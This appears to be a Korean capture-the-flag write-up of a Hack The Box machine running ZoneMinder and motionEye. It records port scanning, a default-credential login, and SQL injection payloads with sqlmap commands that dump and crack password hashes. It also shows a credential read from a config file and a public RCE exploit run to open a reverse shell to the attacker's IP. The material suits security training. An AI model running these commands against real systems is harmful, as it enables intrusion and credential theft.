풀이 시간
초기 침투
[서비스] / [취약점] / [CVE 또는 기법] 요약
포트 스캔, 22번과 80번 포트가 열려있으며 http://cctv.htb/ 경로는 /etc/hosts 파일에 추가함
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_ 256 76:1d:73:98:fa:05:f7:0b:04:c2:3b:c4:7d:e6:db:4a (ECDSA)
80/tcp open http Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://cctv.htb/
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep 30 11:34:41 2026 -- 1 IP address (1 host up) scanned in 83.11 seconds
CCTV 관련된 사이트임, Staff Login 버튼이 있어 클릭하니 zoneMinder 로그인 페이지로 이동함
documentation 버튼을 클릭하니 문서 페이지로 이동해 zoneMinder가 오픈소스라는 것을 파악함

admin' -- -, admin' or '1'='1 쿼리로 SQL 인젝션 시도했으나 실패했음
zoneminder default login 구글에 검색, https://github.com/ZoneMinder/zoneminder/blob/master/docs/userguide/gettingstarted.rst 링크에서 디폴트 계정 정보 발견

admin:admin 로그인 성공, v1.37.63을 사용함

1.37.63 버전에서 SQL 인젝션 취약점이 있음 https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-qm8h-3xvf-m7j3
PoC
http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=(select * from(select(sleep(5)))a)
http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1%20union%20select%201,2,3,4%20where%201=2
http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1%20union%20select%201,2,3,4%20where%201=1
sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" \
-p tid --batch \
--prefix=" UNION SELECT 1,2,3,4 WHERE 1=1" \
--code 200 --technique=B --flush-session --dbs \
--cookie=ZMSESSID="2rnv0hps6st9ub2o5i6ecidvla"
# 기존 결과를 그대로 사용하기 위해 --flush-session 제거
sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" \
-p tid --batch \
--prefix=" UNION SELECT 1,2,3,4 WHERE 1=1" \
--code 200 --technique=B \
--cookie=ZMSESSID="2rnv0hps6st9ub2o5i6ecidvla" \
-D zm --tables --threads=10
sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" \
-p tid --batch \
--prefix=" UNION SELECT 1,2,3,4 WHERE 1=1" \
--code 200 --technique=B \
--cookie=ZMSESSID="2rnv0hps6st9ub2o5i6ecidvla" \
-D zm -T Users --threads=10 --dump
Users 테이블 덤프해 3개의 계정 크리덴셜 확보
$2y$ 는 bcrypt $2*$, Blowfish (Unix) 계열이라 hashcat 3200 타입
+----+------------+--------------------------------------------------------------+
| Id | Username | Password |
+----+------------+--------------------------------------------------------------+
| 1 | superadmin | $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm |
| 2 | mark | $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. |
| 3 | admin | $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m |
+----+------------+--------------------------------------------------------------+
mark 계정 비밀번호 크래킹 성공
$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.:opensesame
ss -tulpen , 실행중인 프로세스 확인
로컬에서 cgroup:/system.slice/motioneye.service가 8765, 7999, 9081 포트로 동작 중임
tcp LISTEN 0 128 127.0.0.1:8765 0.0.0.0:* ino:22979 sk:9 cgroup:/system.slice/motioneye.service <->
tcp LISTEN 0 4096 127.0.0.1:7999 0.0.0.0:* ino:21258 sk:4 cgroup:/system.slice/motioneye.service <->
tcp LISTEN 0 4096 127.0.0.1:9081 0.0.0.0:* ino:21255 sk:b cgroup:/system.slice/motioneye.service <->

8765 포트가 로그인 페이지임

systemctl cat motioneye 실행해 설정 파일 위치가 /etc/motioneye/ 디렉터리에 있음을 파악함

/etc/motioneye 디렉터리의 motion.conf 파일에서 admin 크리덴셜 발견
989c5a8ee87a0e9521ec81a79187d162109282f0

칼리에서 타겟 머신에서 동작하는 8765 포트에 접속하기 위해 SSH 로컬 포트 포워딩 설정함
ssh -L 8765:127.0.0.1:8765 mark@cctv.htb -N
접속 성공, 0.43.1b4 버전 확인

0.43.1b4 버전은 RCE 취약점이 있어서 깃허브에서 검색함

익스플로잇 성공 https://github.com/gunzf0x/CVE-2025-60787
python3 CVE-2025-60787.py revshell --url 'http://127.0.0.1:1080' --user 'admin' --password '989c5a8ee87a0e9521ec81a79187d162109282f0' -i 10.10.16.134 --port 9001

root, user 플래그 획득

권한 상승
[misconfiguration 또는 exploit] 요약
막힌 포인트
[열거 누락? 기법 몰랐음? 방향 잘못?] 요약